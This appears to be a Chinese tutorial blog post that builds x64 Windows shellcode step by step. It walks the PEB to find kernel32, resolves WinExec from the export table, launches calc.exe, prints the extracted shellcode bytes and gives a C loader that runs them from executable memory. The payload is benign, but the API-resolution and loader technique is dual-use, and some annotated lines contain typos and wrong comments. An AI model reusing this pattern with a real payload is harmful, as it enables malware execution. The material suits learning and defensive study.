本篇将使用NASM汇编语法作为我们x64汇编编码需求首选。
寄存器值类型:
-
易失性:RAX、RCX、RDX、R8、R9、R10、R11
-
非易失性:RBX、RBP、RDI、RSI、R12、R13、R14、R15、RSP
易失性:寄存器会根据函数调用等变化
非易失性:寄存器在函数调用后不会改变值,并且可以可靠的存储我们在代码中需要的值
寄存器RCX、RDX、R8、R9作为函数前四个参数,且按顺序使用。
mov r15,rax ; 这里rax中存着GetCurrentProcess函数地址
mov rcx,0 ; 这里将第一个参数(rcx)设置为了NULL(0)
call r15 ; 调用r15中存储的地址处的函数
如果不只一个参数,那就按照上面的顺序将四个参数分别设置值并使用。当然也不只这四个寄存器作为参数还有几个我们后面用到再讲。
pop r15 ; 从栈顶弹出之前被压入栈中保存的WinExec函数地址的值到r15寄存器
mov rax,0x00 ; 为什么不用0呢,是因为0x00更强调这是一个NULL,使用此更规范
push rax ; 将NULL压入栈中
mov rax,0x6578652E636C6163 ; 在内存中的实际顺序(小端序),63 61 6C 63 2E 65 78 65 → c a l c . e x e
push rax ; 加上前面的NULL字节,栈上形成完整字符串:calc.exe\0
mov rcx,rsp ; 将栈指针(RSP)的值赋给RCX,即第一个参数为 字符串:calc.exe\0
mov rdx,1 ; 第二个参数设为1
sub rsp,0x30 ; 分配32字节影子空间加字节对齐16共48字节,十六进制0x30->十进制48
call r15 ; 调用r15中保存的WinExec函数地址,即执行 WinExec("calc.exe", 1) 启动计算器
-
影子空间按照约定调用要留32字节,再根据对齐公式
地址 % 对齐大小 == 0得出对齐字节,这是调用函数前必做的工作。
如果是调用使用四个参数的函数呢,下面以MessageBoxA为例
mov r15, rax ; 将存在RAX中的MessageBoxA函数地址存到R15中
mov rcx,0 ; 将第一个参数设置为0,表示没有父窗口
mov rax,0x0073 ; 0x0073实际为0x0000000000000073小端序为,73 00 00 00 00 00 00 00,所以在栈上形成's'后跟上7个NULL字节,但MessageBoxA遇到第一个NULL就停止,所以效果就是字符串's\0'
push rax
mov rax,0x6B6E616C62656E6F ; 将字符串oneblank赋值给rax寄存器
push rax ; 将RAX中的字符串压入栈中。
为什么要将oneblank与s分开?是因为x64下,push指令每次只能压入8字节(64位),而字符串oneblanks需要(9字符+NULL)共十个字节,所以需要压两次
第二部分:x64基础:堆栈对齐
栈在x64汇编中以16字节边界运行。
栈对齐就要求栈指针RSP位于16的倍数(即0x10、0x20、0x30等)地址,RSP%16==0就会被视为对齐,即需要RSP在调用函数前被16整除。
关键指令对RSP的影响:
PUSH reg/mem:RSP -= 8(栈指针减 8,压栈 栈增长) reg寄存器缩写;mem内存地址缩写;
POP reg/mem:RSP += 8(栈指针加 8,出栈 栈收缩)
CALL addr:先把返回地址(8 字节)压栈(RSP -=8),再跳转到函数地址
RET:弹出返回地址(RSP +=8),跳回调用处
实例: CALL指令函数调用前进行栈对齐
; 如 RSP = 0x108(108h%16=8 未对齐) sub rsp, 8 ; RSP = 0x100(100h%16=0,对齐) call WinExec ; 调用前RSP对齐 add rsp, 8 ; 恢复栈, 通常不需要手动进行栈恢复,函数内部会先执行 PUSH rbp 自动对齐
第三部分:x64基础:影子空间
在WIndows x64的调用约定中,调用者需要为被调用方保留32字节(即4个8字节槽),即使函数不需要。
函数经常需要额外的堆栈空间来放置本地变量和进一步对齐。所以汇编中的sub rsp,0x30或sub rsp 0x40等都是在分配影子空间和进行对齐等操作。
如果没能预留影子空间,我们的参数和其他数据再放到堆栈上时,就可以在没有预留空间的情况下就会丢失,甚至覆盖其他重要数据。
第四部分:简单x64程序:动态定位WinExec并执行calc.exe
我们先从定位Kernel32的基址开始
BITS 64 ; 声明代码为64位汇编,默认为32位
SECTION .text ; 代码段
global main ; 声明main为全局符号,让链接器能找到入口
main: ; 程序入口标签
sub rsp,0x28 ; 栈对齐+影子空间
and rsp,0xFFFFFFFFFFFFFFF0 ; 强制将RSP对齐到16字节边界
; 1. 获取PEB地址
xor rcx,rcx ; 将RCX异或清零
mov rax,[gs:0x60] ; 读取PEB地址,gs段寄存器:x64 Windows中,gs:[0]指向TEB(线程环境块),TEB+0x60指向PEB;[gs:0x60],直接获取PEB的内存地址,存入RAX
; 2. 获取PEB_LDR_DATA地址
mov rax,[rax+0x18] ; PEB结构体偏移0x18处是'Ldr'字段,拿到PEB_LDR_DATA地址存入RAX
; 3. 遍历模块链表,定位kernel32.dll
mov rsi,[rax+0x10] ; PEB_LDR_DATA偏移0x10处是`InLoadOrderModuleList`即加载顺序模块链表头
mov rsi,[rsi] ; 链表是双向链表,链表第一个节点就是(ntdll.dll)的LDR_MODULE
mov rsi,[rsi] ; 再取下一个节点->指向kernel32.dll的LDR_MODULE
; 4. 提取kernel32.dll的基地址
mov rbx,[rsi+0x30] ; LDR_MODULE结构体偏移0x30处是'DLLBase'即模块基地址
mov r8,rbx ; 最后再将基地址复制到R8寄存器
-
mov rsi,[rsi],以RSI里的值为内存地址,读取该地址的8字节数据存入RSI比如到
mov rsi,[rax+0x10]后,RSI=0x7FFE00001230(此时是模块链表头的内存地址)第一个
mov rsi,[rsi],里RSI的值是0x7FFE00001230,[rsi]即读取内存地址处8字节数据。赋值后
rsi就从链表头地址变成了ntdll.dll节点地址(0x7FFE00004560)第二个
mov rsi,[rsi],则是读取`0x7FFE00004560内存处的8字节数据,此时RSI就读取到了kernel32.dll的节点地址,最后再加上0x30的偏移量就是我们的模块基地址
nasm -fwin64 x64findkernel32.asm // 编译 gcc -m64 x64findkernel32.obj -o x64findkernel32.exe -lkernel32 -nostartfiles //链接
-
-nostartfiles跳过 GCC 默认的 C 运行时启动文件,因为我们的文件是纯汇编main,没有C运行
将编译后的exe程序拖入到x64dbg,并按下F9让程序直接跑到断点处,即图下状态

RIP(指令指针),始终指向下一条要执行的命令
即当RIP指向mov r8,rbx 时,我们就可以看到Kernel32.dll模块的基地址了

右侧RBX寄存器中的值就是我们要的基地址。
有了kernel32的基址后,我们接下来获取我们的总函数数和RVA/VMA信息
mov ebx,[rbx+0x3C] ; 读取DOS头偏移0x3C处的PE前面偏移值(e_lfanew),存入EBX,此时RBX仍是kernel32.dll基址,指向DOS头起始位置。用EBX(RBX低位32位)是因为这里偏移值是32位的
add rbx,r8 ; 计算PE签名的实际内存地址,此处r8仍为基址,而rbx已经成了签名偏移值,两者相加为实际地址
mov edx,[rbx+0x88] ; 读取导出表的RVA存入EDX,PE头+可选头的偏移0x88处是"导出表数据目录项"
add rdx,r8 ; 计算导出表的实际内存地址
mov r10d,[rdx+0x14] ; 读取导出函数名的总数,导出表偏移0x14处是NumberOfNames(4字节)
xor rll,rll ; 将rll置零
mov rlld,[rdx+0x20] ; 读取导出表中的'函数名RVA数组',导出表偏移0x20处是AddressOfNames
add rll,r8 ; 计算函数名RVA数组的实际地址(VMA),后续遍历这个数组就能找到所有导出函数名
-
只有 x86 的经典寄存器(AX/BX/CX 等)用
e前缀表示 32 位,x64 新增的寄存器(R8~R15)的 32 位版本统一用寄存器名+d
接下来,输入我们的函数名,并设置函数计数器
mov rcx,r10 ; 设置循环计数器,rcx是第一个函数参数寄存器,后续kernel32findfunction会遍历导出函数名,RCX作为"遍历总数"使用,且值为导出函数名总数
mov rax,0x00636578456E6957 ; 小端序构造"WinExec"字符串,并存入RAX
push rax ; 将"WinExec\0"压入栈,栈RSP-=8,栈顶位置就是这个字符串的起始地址
mov rax,rsp ; 将字符串起始地址赋给RAX,后续查找函数使用这个地址去进行对比查找
add rsp,8 ; 保持栈对齐,刚RSP减了8现在再加上8,为下面函数调用铺垫
jmp kernel32findfunction ; 跳转到kernel32findfunction逻辑,jmp`是无条件跳转,执行完查找逻辑后不会回到这里
定义我们的函数逻辑
kernel32findfunction: ; 循环入口标签
jecxz FunctionNameNotFound ; jecxz = jump if EXC is Zero ,判断循环是否终止
xor ebx,ebx ;异或清零
mov ebx,[r11+rcx*4] ; 从函数名RVA数组中读取第RCX个函数名的RVA,RCX*4是因为每个函数名的RVA是4字节,所以需要乘上4来计算数组偏移
add rbx,r8 ; 计算函数名RVA的实际内存地址
dec rcx ; RCX = RCX - 1,计数器减1,毕竟RCX存的是导出函数总数
mov r9,qword[rax] ; 从RAX指向的栈地址中读取8字节的"WinExec\0"字符串并存入r9
cmp [rbx],r9 ; 字符串对比
jz FunctionNameFound ; jz = Jump if Zero ->零标志位ZF=1,跳转到FunctionNameFound
jnz kernel32findfunction ; jnz = Jump if Not Zero->零标志位ZF=0,没找到继续循环
FunctionNameFound:
push rcx ; 将当前的RCX值压栈保存,后续查找函数地址方便使用
jmp OrdinalLookupSetup ; 跳转到查找函数号标签
FunctionNameNotFound:
int3 ; 没找到则触发调试断点,程序停止
OrdinalLookupSetup:
pop r15 ; 将存在栈中的函数名索引弹到R15寄存器中
js OrdinalLookup ; 跳转到查找逻辑
OrdinalLookup:
mov rcx,r15 ; 将R15中的索引赋值给RCX
xor r11,r11 ; 异或置零
mov r11d,[rdx+0x24] ; 读取导出表偏移0x24处的AddressOfNameOrdinals字段
add r11,r8 ; 计算出AddressOfNameOrdinals数组实际地址
inc rcx ; 计数器加1,即RCX=RCX+1,上面找到WinExec时,已经用dec rcx进行减1了,这里加上1才是我们真正找到的索引,如果不放在上面cmp的判断逻辑不好写,所以递减操作只能写在前面了,找到再加回去
mov r13w,[r11+rcx*2] ; 从AddressOfNameOrdinals映射表数组中读取到WinExec对应索引并存入R13w(R13的低16位),RCX*2是因为每个索引都是2字节
xor r11,r11
mov r11d,[rdx+0x1c] ; 读取导出表偏移0x1C处的AddressOfFunctions字段
add r11,r8 ; 计算出AddressOfFunctions数组实际内存地址
mov eax,[r11+r13*4] ; 从AddressOfFunctions地址数组中读取WinExec的地址RVA,每个函数地址是4字节所以索引R13*4
add rax,r8 ; 计算出WinExec的实际地址
push rax ; 将WinExec的实际地址保存入栈
js executeit ;跳转准备执行
executeit:
pop r15 ;将WinExec的实际地址保存入栈
mov rax,0x00 ; 将RAX清零,准备作为空字符'\0'
push rax ; 将RAX压入栈保存
mov rax,0x6578652E636C6163 ; 将calc.exe以小端序存入RAX
push rax ; 将RAX中的calc.exe压栈,和之前的\0拼接成完整字符串
mov rcx,rsp ; 将栈指针(栈顶地址)赋值给RCX,即之前存入的"calc.exe\0"字符串,作为第一参数
mov rdx,1 ; 第二参数存入RDX,参数值1的含义:SW_SHOWNORMAL(正常显示窗口)
sub rsp,0x30 ; 预留影子空间以及栈对齐,两次push正好是减了16字符所以直接0x30,减48即可
call r15 ; 执行WinExec
-
AddressOfNameOrdinals数组的作用是建立 “函数名” 到 “索引” 的映射
-
AddressOfFunctions函数存放地址数组
这里的话就可以执行了,还可以加上ExitProcess,让我们的程序正常的退出。
BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0
xor rcx,rcx
mov rax,[gs:0x60]
mov rax,[rax+0x18]
mov rsi,[rax+0x10]
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30]
mov r8,rbx
mov ebx,[rbx+0x3C]
add rbx,r8
mov edx,[rbx+0x88]
add rdx,r8
mov r10d,[rdx+0x14]
xor r11,r11
mov r11d,[rdx+0x20]
add r11,r8
mov rcx,r10
mov rax,0x00636578456E6957
push rax
mov rax,rsp
add rsp,8
jmp kernel32findfunction
kernel32findfunction:
jecxz FunctionNameNotFound
xor ebx,ebx
mov ebx,[r11+rcx*4]
add rbx,r8
dec rcx
mov r9,qword[rax]
cmp [rbx],r9
jz FunctionNameFound
jnz kernel32findfunction
FunctionNameFound:
push rcx
jmp OrdinalLookupSetup
FunctionNameNotFound:
int3
OrdinalLookupSetup:
pop r15
js OrdinalLookup
OrdinalLookup:
mov rcx,r15
xor r11,r11
mov r11d,[rdx+0x24]
add r11,r8
inc rcx
mov r13w,[r11+rcx*2]
xor r11,r11
mov r11d,[rdx+0x1C]
add r11,r8
mov eax,[r11+r13*4]
add rax,r8
push rax
js executeit
executeit:
pop r15
mov rax,0x00
push rax
mov rax,0x6578652E636C6163
push rax
mov rcx,rsp
mov rdx,1
sub rsp,0x30
call r15
编译链接
nasm.exe -f win64 winexec.asm
gcc -m64 winexec.obj -o winexec.exe -lkernel32 -nostartfiles

成功弹出
接下来我们就将汇编代码转换成我们需要的ShellCode
nasm.exe -f win64 winexec.asm -o winexec.o
$shellcode = ""; (objdump -D winexec.o | Select-String "^ ").Line | ForEach-Object { $_.Split("`t")[1] -split " " | Where-Object { $_ -match "^[0-9a-f]{2}$" } | ForEach-Object { $shellcode += "\x" + $_ } }; $shellcode
\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x00\x50\x48\x89\xe0\x48\x83\xc4\x08\xeb\x00\x67\xe3\x19\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x74\x02\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab\x4c\x01\xc0\x50\x78\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\xba\x01\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7
加载器C代码
#include <windows.h> #include <stdio.h> #include <signal.h> unsigned char shellcode[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x00\x50\x48\x89\xe0\x48\x83\xc4\x08\xeb\x00\x67\xe3\x19\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x74\x02\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab\x4c\x01\xc0\x50\x78\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\xba\x01\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7"; void handler(int sig) { printf("Exception occurred! (signal %d)\n", sig); exit(1); } int main() { printf("Loading Shellcode...\n"); printf("Shellcode size: %d bytes\n", sizeof(shellcode)); signal(SIGSEGV, handler); signal(SIGILL, handler); void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (exec == NULL) { printf("VirtualAlloc failed: %d\n", GetLastError()); return 1; } memcpy(exec, shellcode, sizeof(shellcode)); printf("Shellcode at: 0x%p\n", exec); // 执行 ((void(*)())exec)(); printf("Shellcode returned (should not happen)\n"); VirtualFree(exec, 0, MEM_RELEASE); return 0; }
gcc loader.c -o loader.exe
编译链接后运行,这就是我们以汇编视角一步一步自己手动搭建的第一个ShellCode了。
共有 0 条评论